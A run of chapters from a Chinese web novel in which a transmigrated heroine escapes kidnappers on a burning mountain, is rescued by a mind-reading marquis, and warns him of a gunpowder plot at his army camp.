这是一处崎岖不平的山上,京城附近哪里有山,夏清棠脚下轻功运作,脑中不断回忆,这根本不认路啊。 靠了,前面有火光,是那波绑匪,夏清棠拐了个弯躲进枯草丛里。 愈来愈近的脚步声。 “放把火,烧了这片枯草”,江汐汐神情冷淡,目光落在夏清棠藏身的草堆里。 辜战大惊,“这样会把整座山都点燃的”。 “那又如何,我们的人不是都撤退了吗?剩下的不过是朔曜王朝那些余孽,烧死不是更好吗?” 辜战一想,拍手叫好,“对啊,去他的狗屁朔曜王朝!”。 夏清棠必须得出去了,不然火就真烧身上了。 一道黑影从枯草从蹿出,江汐汐微惊,迅速追赶,“抓住她!杀了她!”。 零散的弓箭不断射向夏清棠,敌我力量太悬殊了,而且,身后这女人真的像是要吃了她一样,不敢想落在她手中会怎样。 夏清棠越跑越快越跑越快,身疾如影。 噗呲! 一把长箭刺中她的肩膀,夏清棠一咬牙,毫不犹豫将其拔出,前面没路了,她猛地停下脚步,前面是个大山坡啊,滚下去不死也会残吧。 江汐汐却是越追越心惊,这个女人不仅会轻功,身法还如此眼熟,她当即下令,“活捉!我说要活捉!弓箭不许刺死她!”。 夏清棠只觉得心凉凉,到底要怎样折磨他,一会儿杀死一会儿活捉的,突然,她眼前一亮,看到陡坡上的生机,趁着追她的人还没靠近,赶紧滚了下去。 江汐汐一行人上前往下看,空荡荡的陡坡,没有人,只有几片碎布,那女人滚下去了,十有八九,不死也残。 “汐姐,我们快撤吧,京城那帮子人快照过来了” 江汐汐强压下心中的念头,“撤!”。 “哎呀妈呀,这群人可算走了” 夏清棠狼狈的从陡坡上那一灌浓密的草丛中爬出,又苟延残喘的爬上去。 看清眼前的一幕,她瞳孔骤缩,满山的红,这群人真把山给烧了!! 此时,天光已经大亮。 夏清棠清晰的听到山火中传来的呜咽求救声。 第十二章去找晏无咎 京城终于也乱翻了天。 晏无咎天微微亮就起身要准备前往京郊军营,冷不丁想到那个装神弄鬼,满嘴谎话的女人,走出房屋,却没看跟往常一样早早在院子里练功的夏清棠。 他心口莫名发紧,疾步走到夏清棠房屋外,听不到任何动静,屋内很干净,但是地上却有明显不是那女人的两双带着泥土的大脚印。 “主子!主子不好了”,林木慌乱的从外面跑进来。 …… 皇宫包括京城其它的某几个官员府上也终于发现了自家有人失踪了,乱成一团,但是根本不敢声张,这可不是什么光彩的事儿。 但是消息却不胫而走,景明帝勃然大怒,皇城之下竟有人如此蔑视皇威。 景明帝把这差事下令给了晏无咎。 晏无咎带着一队人马策马奔腾,他面色紧绷,浑身一股肃杀之气。 晏无咎以最快的速度寻着痕迹找到逆贼所在的山头,去发现山头已经冒出弄弄火焰,他瞳孔骤缩,加快策马。 “将军,火势蔓延的太快,无法知道那些逆贼是否还在里面” 晏无咎眸光沉沉的望向被火焰包围的山头,“来人!点一百轻骑朝西南方向追赶,一百轻骑朝……”。 那女人会在里面吗? 晏无咎冷嗤一声,要不是这女人还留着有。 林木眼睛瞪大,眼睁睁看着自家主子居然往冒着火的山里走,主子疯了?要自裁了? 转眼间,晏无咎消失踪影。 林木:“我靠!” “我靠!到底往哪走啊”,夏清棠身后背着个人,后面还跟了好几个女子,奈何几人都不认路,还好这边山大多都是碎石,火势并未蔓延过来。 肩膀处伤口被她草草包扎,勉强止了点血,可是长时间没进食喝水,又跑来跑去,还中箭失血,夏清棠此刻面色苍白,浑身发虚,就算再抗的身体也经不住这么造啊。 砰! 夏清棠将背上的人放下,声音凶狠,“喂!快醒醒!你再昏下去,可是马上就要暴尸荒野了”。 夏清棠又看向身后同样停下来的几个女人,无奈叹息,赶也赶不走,她都说救不了她们了还不信。 夏清棠摆烂的躺到地上,突然,身旁传来声响。 “唔!” 宋玉竹醒了,她看到了灰灰的天,起身扭头,是被她绑了的那位姑娘。 夏清棠直勾勾盯着眼前的女子,她扯唇一笑,“你醒了?呵,继续睡吧”。 宋玉竹不解,“姑娘,为何不出去”。 夏清棠苍白的脸上浮出冷笑,“这么大个山咋出去,我不认路,她们也不认路”。 宋玉竹抿了抿唇,犹豫开口,“我可以试试”。 所有人眼前一亮,同时又不可避免地带了些怀疑,这个看着弱不禁风的娇小姐恐怕连自家门都没出过吧,能认得路? 夏清棠激动,“真的啊,姐妹,靠你了”。 宋玉竹脸上浮现红晕,不好意思的笑了笑。 嘶——! 扯到伤口了,夏清棠一个踉跄,头脑发晕,差点又跌倒,还是宋玉竹急忙扶住。 “姑娘,我背你走吧”,迎着夏清棠怀疑的目光,她继续说,“我知道刚才一路都是你背我的,若没有你,我早就死在浓烟中了,你放心,我有劲儿,能背动你,不会摔了你的”。 夏清棠趴在了宋玉竹的背上,怪不好意思的,这姑娘好香。 “你们不走吗?” 几位贵女摇摇头,满眼不相信,一个病秧子和一个娇小姐,怎么可能会出去,跟上恐怕也是白费体力,朝廷肯定很快会派兵来营救,她们得在这儿保存体力,维持好形象,不能再让家族蒙羞。 “不走” 夏清棠看出了几人的想法,她不敢苟同,她的伤口需要尽快处理,死马也得当活马医。 宋玉竹背着夏清棠快步走在崎岖的山道上,脚步很稳,夏清棠很意外。 这个娇小姐一点也不娇啊。 夏清棠有些撑不住了,意识逐渐涣散,她好像看到官兵了,她死掐自己的大腿,双重痛感勉强帮她保持清醒。 “夏姑娘!你真在里面啊,哎呦,你出来了是好事,可是侯爷又进去找你了”,林木又高兴又伤心,更多的是伤心,烟这么大,侯爷死里面怎么办。 夏清棠大脑有些宕机,什么叫侯爷进去找她了?谁能告诉她这句话什么意思。 晏无咎进去找她?!夏清棠大惊,晏无咎吃错药了?这么大的火就生生靠肉身进去了? 夏清棠环顾四周,看到了晏无咎的大骏马,却没看到人,不是吧,真进去找她了?不对,里面又不是只有她,那么多人呢,怎么可能是只为了找她。 夏清棠想通了,松了一口气,头又一阵阵的发晕,“林侍卫,有没有吃的,先给我口,我快不行了”。 “对,还有这位姑娘,多亏了这位姑娘认路啊” 林木焦急的望着山口,随手指了指马旁边的鞍囊,夏姑娘怎么就想着吃啊。 夏清棠低头机械的咀嚼着干硬的烧饼,脑子里乱成一团线,晏无咎进去找她了?这和剧情不对啊,那么大火,晏无咎万一死里面怎么办,对啊!晏无咎万一死了,那不就意味着她也离死很近了! 不行,她得去找人,现在火看着好像小了点。 夏清棠摇摇晃晃的站起身。 林木一惊,看出夏清棠的意图,他欲哭无泪,“您还是歇着吧,万一侯爷出来了,你又死了,我可能会完蛋”。 夏清棠脑子晕晕的,耳朵听不进去话。 宋玉竹呆呆的,这姑娘怎么又要进去呀。 林木大喊:“姑娘!帮忙抱住她”。 宋玉竹在背后牢牢抱住夏清棠。 林木继续焦急的望着山口,突然,他看到一道颀长的身影。 林木大喜,“侯爷!”。 第十三章蠢货说蠢货是蠢货 一道熟悉的身影出现,晏无咎满身狼狈,脸上带着罕见的挫败。 林木:“侯爷,夏姑娘在这儿” 抬眼,两人的目光相撞,晏无咎率先移开视线。 晏无咎默默松了一口气,这女人狡猾的很,轻易死不了。 下一秒,就听到传来惊呼声,晏无咎瞳孔骤缩。 一道残影掠过,晏无咎接住了晕过去的夏清棠和就要掉落的饼子。 林木连忙禀告,“这位姑娘知道那些贵女的敌方,属下已经派人去寻”。 另外几队兵分行动的人马也纷纷回来禀报情况。 去东北方向的人马带回来了尚还有意识的苏菀和已经晕过去的朔灵汐。 晏无咎沉声道:“天色不早了,先吃点干粮,林木你一会儿先领一队人马把这几个送回去就医”。 “是” 晏无咎低眸看向怀中昏迷的夏清棠,又抬头看向一旁正在吃干烧饼的林木,“你吃好了没,赶紧把人送回去”。 刚嚼了一口烧饼的林木:“……” 他使劲儿咽了咽干噎的烧饼,含糊不清的说,“侯爷,我吃好了”。 “我现在立刻马上把夏姑娘送回去就医” 晏无咎轻咳一声,纠正林木的说法,“是把这几个人送回去,不是只有夏清棠”。 林木:“好的,侯爷”。 一旁的苏菀神色不明,夏清棠?她有些印象,被朔砚辞安排在晏无咎身边的卧底,之后也不过是沦为弃子毒发身亡了,她知道这女人还是因为这女人死的太张扬了,死后的尸体被丢到了皇宫,还吓到了当时的太后。 这镇北候好像对她很不一般,呵,镇北候现在知道这女人是朔砚辞派来的卧底吗? 苏菀低眸,她的思绪飘远,又想到了前世的晏无咎。 苏菀只记得,晏无咎是个草根出身的将军,但是没风光几年就落魄了,之后再听到关于他的事情,还是自己死后飘在皇城上空听到的,当时千钰已经登基有一段时间,她听到千钰说晏无咎落魄了还不死心,她想肯定是这男人有了谋逆之心被千钰发现了。 反正最后是死了,不过,死的是罪有应得,居然敢觊觎千钰哥哥的皇位。 今世,这晏无咎也风光不了多久了,不足为惧。 苏菀柔柔一笑,前世朔千钰没有她的帮助都能那么顺利的登上皇位,这一世有了她的助力,这晏无咎根本不足为惧。 一路颠簸,破旧的马车摇摇晃晃,晕过去的朔灵汐被一下一下的撞击撞醒了。 她一睁眼,看到眼前的环境,张嘴就是发怒,“苏菀!你怎么都不知道抱着本公主些,我这美丽的额头都被撞青了”。 苏菀嘴角勾起一抹笑,眼底却凉薄至极,“灵汐妹妹,你忘记了吗?下山的一路你哭着喊着不让那些满身脏污的士兵碰你,可是我一路扶着你搀着你,最后背着你下山的啊,你看看,我这胳膊都抬不起来,腿也软的不行”。 朔灵汐冷哼一声,丝毫不在意苏菀说的话,“哼,帮助本公主都是你的荣幸,放心,本公主会在父皇和皇兄面前为你多美言几句的”。 苏菀咬牙,前世只听说过这公主蛮横无理变态疯癫,现在一看,可真是没说错啊,罢了,不过也是个蠢货而已。 朔灵汐恶意的目光又落在角落缩着的宋玉竹和夏清棠身上。 她不可置信的皱眉,手指着夏清棠,眼睛看着宋玉竹,“这女人我不是让你捆好了吗?她怎么逃出来的,说!是不是你骗我!”。 朔灵汐最厌恶别人把她当傻子一样整,手高高扬起,即使饿的头晕眼花也要去教训这两个不知天高地厚的女人。 苏菀在一旁冷眼看着这一切,夏清棠实际上是朔砚辞的人,前世朔砚辞可是没少给千钰哥哥添堵。 苏菀伸手拦住了朔灵汐,她声音温柔似水,下了一剂猛料“灵汐,切不可冲动啊,地上躺着的这位姑娘可是镇北候的人”。 “什么?!” 朔灵汐现在是惊得头也不晕了眼也不花了,她一把甩开苏菀虚虚揽着她的双手,不大的破旧马车里硬生生给造出的地动山摇的声响。 宋玉竹吓得浑身直哆嗦,眼看这疯女人要对还昏着得夏清棠施暴,她眼一闭,心一横,挡在夏清棠面前。 “好啊你!敢忤逆本公主” “苏菀!你眼瞎了吗?还不赶紧过来给我按住她,我要弄死地上这女人” 苏菀苦笑,“公主你忘了吗,我现在腿软的站不起身啊,公主你还是过来吧,我怕…我怕镇北候发现了,万一责怪于你可怎么办啊”。 朔灵汐不屑,“他又算个什么东西!”,不过是个低贱的草根孤臣,侥幸入了她的眼而已。 “吵什么吵” 突如其来的呵斥让马车寂静一瞬,是夏清棠硬生生被吵醒了,迷糊之际她还以为是在武馆的宿舍。 “呵,区区一个丫鬟难不成还能骑本公主头上,居然还敢呵斥本公主” 朔灵汐现在看到夏清棠醒来,罕见的不发疯了。 夏清棠起身,眸光无意间落在苏菀身上,别以为她没听到,就是这个苏菀告诉朔灵汐她是晏无咎的人。 是无意的还是有意的。 “灵汐公主,快过来吧,方才在下面镇北候可是很紧张这位姑娘,这姑娘要是真出了事儿,保不齐镇北候还要对你心生怨怼呢” 夏清棠确定了,就是故意的。 苏菀对着夏清棠无奈一笑,“这位姑娘多担待,我们公主确实是太喜欢镇北候了”。 朔灵汐神情突然疯癫,“是不是看本公主落魄了好欺负,一个个都想骑到本公主头上啊!”。 她目光又转向苏菀,“别以为我兄长多看了你几眼,你就有资格来教训我”。 夏清棠一愣,想起来,书中这疯癫公主可是平等的看不起任何人。 苏菀一怔,随即脸上露出受伤的表情,“灵汐,我这都是为你好啊,我还能害你吗?”。 朔灵汐冷笑,“你最好真是这样想的”。 不过,这蠢女人这么喜欢她皇兄,连她皇兄和好几个男的上床这事儿都能欣然原谅,想来也是蠢得没边了,眼下可能是太急切想讨好她。 朔灵汐又指了指夏清棠:“苏菀姐姐真为我好的话,那你就和我一起打她” 苏菀:“……” 夏清棠:“—_—” 火烧来烧去还是烧到她身上。 夏清棠一脸虚弱样,咳嗽了两声,决定违背一下自己的意志,浅浅谄媚一下这位疯子公主。 “公主,想来是这位姑娘搞错了”,夏清棠看了看苏菀,“我怎么可能被镇北候青睐,我不过是一个低下的丫鬟,要我说,肯定是这位姑娘看你有气无力的,故意这样说想让你活动活动筋骨,真是用心良苦啊”。 夏清棠轻咳两声,张嘴继续。 “况且,我有传染病,咳咳咳!” 剩下的话不言而喻。 朔灵汐嫌恶的皱眉,直接离得夏清棠远远的,生怕真染上病。 苏菀皱眉,心里暗骂,真是个蠢货,连身上有病没病都看不出来。 第十四章就抱一会儿 夏清棠算是看出来了,这俩人谁看谁都是蠢货。 林木在外面瑟瑟发抖的驾着马车,都是祖宗,他是怂货啊,暗一跟他说的果然没错,珍爱生命,远离女人! 听着里面好像没动静了,林木松了一口气,还好没打起来,真打起来,这马车就散架了。 马车内,一片寂静,长时间滴水未进,几个人都是头脑发晕,浑身发虚,唯一多吃了两口烧饼的宋玉竹根本大气儿都不敢喘,太恐怖了。 “外面是哪个狗奴才,马车驾的又烂又慢!”,朔灵汐突然大吼。 林木叹息,混个日子真难。 …… 不知道过去多久,马车吱吱的车轱辘声终于停下,林木叹息,终于把这几个人给送回去了。 “夏姑娘!到侯府了,下马车吧” 没动静,林木探头看去,夏姑娘还睡着,愣神间,就听到了愈来愈近的马蹄声。 侯爷回来了,这么快? 晏无咎扯住缰绳,停在马车前,“那女人呢”。 “夏姑娘睡着了” 晏无咎面试色一冷,下马冲进马车,地上的女人脸色红的不正常,气息明显不稳,这明明发热昏过去了。 晏无咎毫不犹豫的抱起夏清棠疾步走进侯府,朝呆愣的林木低吼,“快去把大夫叫来!”。 “热,好热” 夏清棠无意识的呢喃,声音低到听不见。 晏无咎没听清,下意识地低头侧耳凑近夏清棠的嘴,热?他正要起身去接凉水,却感觉脸颊触及一小片绵软。 什么东西这么软? 晏无咎正过头一看,瞳孔微缩,是夏清棠的唇,又粉又软,看起来…… 晏无咎猛地扭过头直起身,内心恨恨唾弃自己,他什么时候竟变得如此下流! “热!” 又传来一声呢喃,晏无咎猛地回神,眸光落到床榻上女人泛红的脸颊上,暗骂一声,闪身出去,脚步略显慌乱,端着木盆又返回来。 林木带着大夫回来,就看到自家侯爷手里端着个木盆儿,手里还拿着个白布,那架势…… !! 惊!侯爷难道要亲自动手?!男女授受不亲啊! 林木大吼,“侯爷!男女授受不亲,你得叫王嬷嬷啊”。 晏无咎常年波澜不惊的脸上浮出几丝龟裂,他近乎咬牙切齿的说,“那你还不快去叫人!”。 林木一阵风似地又跑出去了。 晏无咎伸手抚了抚眉头,这林木怎么越来越聒噪了。 王嬷嬷一进来就眼尖的看到侯爷那双眼睛直勾勾地盯着床上的夏清棠,哎呦喂,不会真让这死丫头得逞了吧,不,绝对不可能,这才多久,还没一个月吧。 王嬷嬷走上前,拿起湿布就要给夏清棠擦身子,余光瞥到直愣愣站在旁边的侯爷,内心有些难办。 侯爷怎么不出去啊,这死丫头是讨人厌,但再怎么说也是个未出阁的小姑娘。 晏无咎皱眉,“你怎么还不擦”。 王嬷嬷:“侯爷,这…你是不是该出去” 晏无咎沉默了,没作声,只是安静的走出房门,背影透着些许凄凉,今日被赶了两次。 大概一刻钟后,王嬷嬷给夏清棠降了降温,擦了擦身子,大夫也去而复返拿着重新配好的药过来了。 夏清棠醒了,疼醒了。 肩膀上的伤口称不上个啥,主要是她体内的毒,准时准点,按时毒发。 嘶——! 夏清棠起身要下床,眼前却发黑。 咕噜噜—— 好饿,又饿又疼。 王嬷嬷再进来就刚好听到夏清棠肚子咕咕叫,她眼神一亮,谄媚的笑道,“哎哟,夏姑娘醒了,饿了吧这是,我去给你拿点吃的啊”。 眼前一阵阵的发黑,胸口处像是有一把生了锈的小刀在一刀一刀的割她的肉,靠!为什么今天这么痛啊! 夏清棠死咬着嘴唇,轻哼声不可避免地溢出。 “晏无咎” 晏无咎在门口听到些细微的动静,还在犹豫要不要进来,就听到夏清棠喊他名字,他立刻闪入房间。 夏清棠眼睛登时亮的惊人,行走的晏无咎此刻堪比唐僧般的存在。 “晏无咎!” 一个温软的身子直直撞入他的怀中,又紧紧箍住他的腰,晏无咎感觉自己心跳加快,有点喘不过气来。 他把这都归咎于夏清棠抱的太紧了。 “喂!夏大丫鬟,松松手,本侯爷要被你抱的喘不过气儿来了” “再说了,你这么大了,不知道男女授受不清吗?你看看这像什么样子” 夏清棠根本听不进去眼前这男人的絮絮叨叨,她只知道抱着这男人确实好转不少,但是…好像还不够。 “夏大丫鬟!你到底有没有听本侯爷说话,别以为你爱慕本侯爷,我就会乖乖站着让你抱,我告诉你…唔!唔唔!” 夏清棠埋在晏无咎怀里,只觉得这男人好唠叨,她伸出一只手牢牢捂住晏无咎喋喋不休的嘴。 “你别说了,就让我抱一会儿,就一会儿” 平日里在他面前张牙舞爪鬼灵精怪的女人此刻缩在他的怀中,声音里浸满了脆弱,说让他抱抱她。 晏无咎没说话,也没再挣扎,算了,就抱一会儿他又不会少块儿肉,等她好了他可要好好算算帐。 晏无咎蹙眉,声音冷硬,“进屋!在门口这样搂搂抱抱成何体统”。 察觉到怀中人身体明显一僵,晏无咎误会了,冷硬的语气带上嘲讽,“怎么?怕进了屋本侯占你便宜坏你清白?”。 夏清棠没理会晏无咎的嘲讽,只轻轻说了句,“嗯,进屋”。 两人居然谁也没觉得不对,就这样就着那个相拥的姿势走进屋里,关上房门。 门不关还好,一关上就哪哪都显得不对劲,有种欲盖弥彰的味道。 晏无咎不禁蹙起眉头,这个女人真是好有心机。 【好舒服,但是和那天相比,还是差了点】 两人在书房亲嘴的画面猛然冲进脑海,晏无咎耳根烧红,下意识伸手就要推开怀中的女人。 第十五章晏无咎成瘸子 “嘶!” 听到夏清棠的痛呼声,晏无咎本来使了力的手又轻轻搭在她肩膀上。 【是不是隔着衣服触碰的效果没有肌肤直接接触的效果好啊】 夏清棠现在疼痛缓解了许多,脑子也逐渐清明。 晏无咎危险的眯起双眼,这个女人看来是好了,脑子里又开始想不该想的了。 他突然逼近夏清棠低垂的脑子,凑在她耳边一字一句地说道,“夏大丫鬟!抱的还满意吗?怎么,要不要我撩开衣服再给你抱抱啊”。 【脱了最好】 夏清棠抬起头朝晏无咎柔柔一笑,“侯爷说笑了,我怎么能玷污您呢”。 两人的鼻尖几乎要碰到,气息交缠,晏无咎瞳孔里映满夏清棠的面容,他骤然推开夏清棠,轻嗤一声,“不知廉耻”。 夏清棠无语,面上不再柔笑,而是摆出一副受伤的表情,“是奴婢逾越了,侯爷见谅”。 【怎么这么阴晴不定,吃了降头药了吧】 晏无咎面色也冷下来,这个女人嘴里没一句真话。 咚咚咚! “侯爷,我给夏姑娘拿了点吃的,药也煎好了” 王嬷嬷按耐不住好奇心,门关的紧紧的,俩人在里面干啥呢。 门唰的打开,晏无咎冷着一张脸出来,“进去吧”。 王嬷嬷看了一眼晏无咎明显带着些怨气的背影,不禁嘀咕,肯定是那死丫头惹了侯爷了。 “哎,夏姑娘啊,你的饭和药” 夏清棠淡淡的瞥了王嬷嬷一眼,“放那吧,谢谢王嬷嬷”。 王嬷嬷猫着腰走进夏清棠,虚着声说:“夏姑娘,你是不是把侯爷惹生气了”。 夏清棠不语,嘴里不断吃着东西。 王嬷嬷眼珠子转了转,“夏姑娘,你可得想想啊,这要是能把侯爷给哄住了,那好处可是……啧啧啧,你看看你现在一个月才多少月钱” “嬷嬷作为过来人告诉你一句,切不可意气用事” 夏清棠依旧不语,把那黑的发紫的药一饮而尽。 王嬷嬷一看,这可不行啊,她拉下老脸哄了这死丫头这么多天,不能一点也没捞着啊,她又说,“这男人啊就跟那小娃娃一样,你得哄着他,哎!他一高兴了,咱们是不是能……”。 夏清棠觉得有点好笑,她打断王嬷嬷,“王嬷嬷说笑了,我和侯爷好着呢”。 王嬷嬷松了一口气,“那就好那就好,嬷嬷这不是担心你和侯爷吗?”。 夏清棠轻笑着点点头。 这几天京城的发生的大事已经传遍全京城,这几天朝堂上每个人都是大气都不敢喘。 景明帝更是直接下令,五百两黄金抓捕这群逆贼。 御书房内。 景明帝看着呈上来的名册,蹙起眉头,“这几位卿家之女,朕瞧着还有点印象,至于这…这个夏清棠是何来历啊”。 都御史声音恭敬,“回皇上,这女子是镇北候府上的”。 “哦?” 景明帝来了兴致,镇北候身边居然有了女子。 “那这女子和镇北候是何关系” 都御史:“可以肯定的是此女子住在镇北候的院子里,而且二人平日里行为举止很是亲密” 景明帝仰天大笑,“哈哈哈!有意思”。 “你先下去吧” …… 隔日,皇宫就派人发出了谕旨,邀请这次被绑架的几位千金及其家眷入宫赴宴,美名其曰,慰劳抚恤,以安其心。 几个收到请帖的千金无不是白了小脸,这被逆贼绑架可不是什么光彩事儿,现下居然还要入宫赴宴,不过,想到这宴会上并没有其他人,她们心里稍稍好受了些,又不禁想,若是能得了皇帝的青睐,得个赏赐也不失为一件美事。 “什么?!我也得去?!” 夏清棠不可置信的从林木手中接过谕旨,不死心的看了一遍又一遍,什么鬼玩意儿。 天爷,这狗皇帝抽什么疯。 “我没家眷啊” 林木摊手,“那自然是侯爷同你一同去”。 夏清棠有些无望,这狗皇帝本来就看晏无咎不顺眼,现在她和晏无咎一同入宫,想想也知道不是什么好事儿。 夏清棠看了看这谕旨上的时间,大后日,大后日正好是十五,她伸手摸了摸袖口处的药丸,心稍稍安定了些。 今日晏无咎去军营回来还早,镇北候府人丁稀少,她来这一段时间,看到的正经管事的其实也就是王嬷嬷和林侍卫,她不禁把目光投在林木身上,真可怜,虽然是个侍卫的名头,但是在这侯府里啥也干。 林木突然叹息一声,“今日侯爷训新兵,说是要宿在军营了”。 自从回了这京城,他就觉着他家侯爷每天累的像狗一样。 “什么?!” 夏清棠大吃一惊,这句话听着实在耳熟,不就是书中晏无咎腿瘸了那一段剧情,林木说的话吗。 书中有一段剧情正是晏无咎在京城野郊的军营训新兵,却不曾想早已经有军中内鬼与奸佞勾结,在练武场西侧的兵器架下埋了火药,当时晏无咎还带着新兵在加训,埋在练武场的火药却突然爆炸,不仅把晏无咎双腿给炸残了,还炸死了不少新兵,此事被有心之人拿此做文章,说镇北候私藏军火,却遭反噬,都是咎由自取,都是老天有眼。 景明帝也趁机收回了晏无咎不少兵权,好在当时晏无咎身边还有神医,只是拼尽全力也只是治成了个瘸子,但晏无咎在民间的名声也没之前好了。 夏清棠沉声问,“军营在哪儿”。 林木微呆,“在京城西郊”。 夏清棠:“给我备一匹马”。 林木:“夏姑娘,你要干嘛” 夏清棠:“你家侯爷说晚上想吃满香楼的烤鸭,让我买了送过去” 侯爷确实喜欢吃满香楼的烤鸭。 “快去!侯爷怪罪下来怎么办” “哦哦” 林木虽疑惑,但还是赶紧去备马,侯爷专门嘱咐过,夏姑娘若是要出去的话,虚假的拦一拦就可以,但是务必要派几个暗卫跟着。 临走时,夏清棠欲言又止的看了林木几眼。 林木歪头:“夏姑娘还有何事,尽管吩咐” 夏清棠展颜一笑,“林侍卫,可否给我些许碎银”。 林木:“……” 想扇自己几个大嘴巴子,最后还是忍痛掏了荷包,得找侯爷报销。 看着夏清棠策马远去的背影,林木一挥手,几道残影迅速掠过,跟着夏清棠。 第十六章将军的人 西郊军营,练武场西侧,士兵们正练得如火如荼。 新兵们一排排一列列,不远处几人调侃晏无咎。 “老晏,听说你那院子里住进去个女人?” “不得了啊,千年老铁树这是要开花了啊,哈哈哈哈” 晏无咎蹙眉,“不过是调来我院子伺候的一个丫鬟罢了”。 几人都与晏无咎相识多年,自然看出晏无咎不愿多说,也不再调侃。 军账里出来两人,大家纷纷打招呼,“安大夫,萧副将”。 只见被称为安大夫的人一身玄色短打,身形挺拔,眉眼间带着肃杀之气,浑身全无医者的温润。 在看那被称为萧副将的人,偏偏又长得斯文,眉目清隽,即使身上披着铠甲,也总让人觉得透着几分违和。 有人调笑,“你哥俩这身份真该换一换,哈哈哈哈哈!” “对对对!应该叫萧大夫,安副将!” 安瑾豪爽的拍了下萧策的肩膀,爽朗大笑,“我觉得可行!”。 萧策笑了笑,声音低沉柔和,“你们又在这儿关心起将军的人生大事儿了”。 安瑾:“上次这老晏来寻我,你们猜怎么着?” 晏无咎冷声打断,“闭嘴!”。 安瑾又哈哈大笑两声,结识这么多年了,他还是第一次被晏无咎问那种问题,吓得他以为这人又被人下毒了,下的还是不干净的药,结果这人又说自己没事。 哎,那玩意儿得看药性,若药性太强,整个下半身废掉都是有可能的。 如今得知晏无咎院子里住进去个女人,他觉得一切都解释的通了,必定是那女人给晏无咎下药了,又哄骗他们将军说不疏解会终身不举,以此拿下了他们将军珍守了十八年的童子身。 “你傻笑啥呢?” 晏无咎直觉不对劲,这个安瑾不会在取笑他吧。 安瑾收敛了笑意,意味深长的拍了拍晏无咎肩膀,“将军,你啊,还是太年轻了,啧啧啧”。 晏无咎:“……” “你废话真多,本将军十八,自然是比你这个二十五的老男人年轻” 安瑾:嘴真毒。 “报!” 一营卒的通报声打断几人的谈话。 晏无咎:“说” 营卒:“将军!营外有一姑娘说是来寻你的” 一石激起千层浪! 军营里的一群大老爷们沸腾了,有姑娘来寻将军?不是吧,他们将军虽然长得很俊,但是站那看着就让人犯怂,更别说还长了一张毒嘴了。 居然有姑娘来寻,院子里住了个丫鬟的事儿不会是真的吧。 安瑾眼神揶揄的看着晏无咎,“将军,你这…不出去看看?”。 晏无咎冷声:“女人?” 营卒咽了咽口水,“嗯”。 “将军,快出去看看吧,想必就你府上的丫鬟” “哈哈哈,还是将军会过日子” 晏无咎寒眸冷冷扫过出言调侃的几人,那几人瞬间噤声。 晏无咎看到新兵们频频探头,周身气压更低,“练不好再加练!”,他又对那营卒说,“押进来”。 安瑾轻啧几声,“老晏对女人还是如此冷血无情”。 萧策默默补充,“未经允许来军营,将军就算是杖责,也是按律令,算不得冷血无情”。 安瑾直回身子,“无趣!实在是无趣!萧策,你这性子,真挺适合干我这活,如何,叫我声师父,我教你医术”。 萧策:“不必了” “别呀,我叫你声萧大夫?萧大夫?萧大夫!萧…” 萧大夫? 夏清棠还没走进,就听到这一声声萧大夫的喊叫,她眼眸一亮,脚下走的更快,眼眸四处扫视,直接甩了身后营卒一大截。 找到了! 视线锁定在晏无咎旁边两人身上,一个长相斯文,眉目清隽,另一个身形挺拔,一身武将气息,关键是,长得很武将的那人嘴里一直喊着萧大夫,而那被叫萧大夫的人也只是蹙眉,并没有出声回绝。 天无绝人之路啊!还在晏无咎身边,这不就是妥妥的神医标配。 夏清棠脚步又轻快了几分,神情也不似方才严肃,一双明眸含着不易察觉的笑意。 晏无咎皱眉,视线紧盯着夏清棠,这女人来这干嘛,这女人手上拿的啥,他好像闻到味儿了,这女人在看谁。 察觉到夏清棠的目光明显没有落在他身上,晏无咎顺着她直勾勾的目光看过去,是萧策和安瑾的方向,这女人到底是来找谁的。 这女人……是又看上其他人了,果真是居心叵测! 夏清棠收回目光,想到此行前来的目的,她走到晏无咎面前,展颜一笑,“侯爷,今早你说想吃烤鸭,我特意来给你送,满香楼的”。 晏无咎嘴角勾起一抹笑,“你有心了,但是,你潜逃出府该罚,本侯也没说要吃烤鸭”。 夏清棠悄悄翻了个白眼儿。 【我再不来,你今晚就完蛋了你!】 “侯爷,实不相瞒,我此次前来是有要紧事要告诉你” 晏无咎:“啥事儿” 夏清棠左看右看,低声朝晏无咎说,“侯爷,这里人多眼杂,我们得换个地方”。 “是吗?” 晏无咎来了兴趣,看来这女人是又知道什么大事儿了。 “跟上” 夏清棠连忙跟着晏无咎进了军帐。 引起练武场上不小轰动。 安瑾摩挲着下巴,“有猫腻!绝对有大猫腻”。 “萧策,绝对有猫腻” 萧策:“嗯” 安瑾一掌拍在萧策肩上,激动的大喊,“我猜的肯定是对的”。 将军就是被这个女人骗走了童子身。 萧策:“你脑子怕是又开始臆想了” 安瑾脸上笑容消失。 第十七章停止练兵 军帐内,气氛沉寂。 晏无咎:“说说是啥要紧事” 夏清棠放下烤鸭,一脸凝重,“侯爷,想必你也知道这京城想害你的人数不胜数”。 【要不是我魂穿来了,你身边现在还藏着个卧底呢,这样看,你小子真是走狗屎运了】 晏无咎眸光微沉,虽然从这个女人的心声中听到过穿书两个字,但是现在又亲耳听到魂穿,对他的冲击力仍旧很大。 那原本的夏清棠去哪了,这个女人之后会不会又魂穿走。 晏无咎:“废话,继续说” 夏清棠又张嘴,“侯爷啊,你看练武场那些士兵多累,你看你多累”。 晏无咎:“有话快讲” 夏清棠面部表情又高深莫测,“实不相瞒,我昨日观天象,发现侯爷你今日有大灾!”。 “就在今夜,方位还是你们正在训兵的练武场西侧!” 晏无咎轻笑,“你本事还挺大,连这都能算出来,怎么,不怕泄露了天机折了你的寿命?”。 【还有心思在这儿阴阳,天天脑子里装的啥,果然,反派死于话多这句话是有理论依据的】 夏清棠深情地看着晏无咎,“侯爷!为了你,我觉得一切都值”。 晏无咎微微怔神,下一秒就听到夏清棠心声。 【呕~!好肉麻,把自己演吐了】 晏无咎沉眉,好啊!这个女人果然谎话连篇,都不带脸红的。 帐帘处传来窸窣声,门口的安瑾和被硬拉来的萧策刚好就听到从帐内传来的中气十足的女声,情之深,神到安瑾都为之动容,将军身边终于有了相伴的女子,他欣慰。 见晏无咎没回应,夏清棠只当他是陷入深思,“侯爷,现在最好的破局之法就是赶紧停训,并且下令禁止任何人去练武场!”。 晏无咎:“本侯该信你?” 夏清棠眸光真诚,重重点头,“对!”。 “行,今日就相信你一回,毕竟你都为了我折寿了” 【这么好说话?肯定是被我前几次的预言折服了吧,那这样的话,练武场的火药就算炸了也不会伤到人了吧】 练武场有火药?晏无咎周身气势凌人,立刻起身就要去下命令,不怕一万就怕万一,这个女人确实是有些本事,这命令必须下。 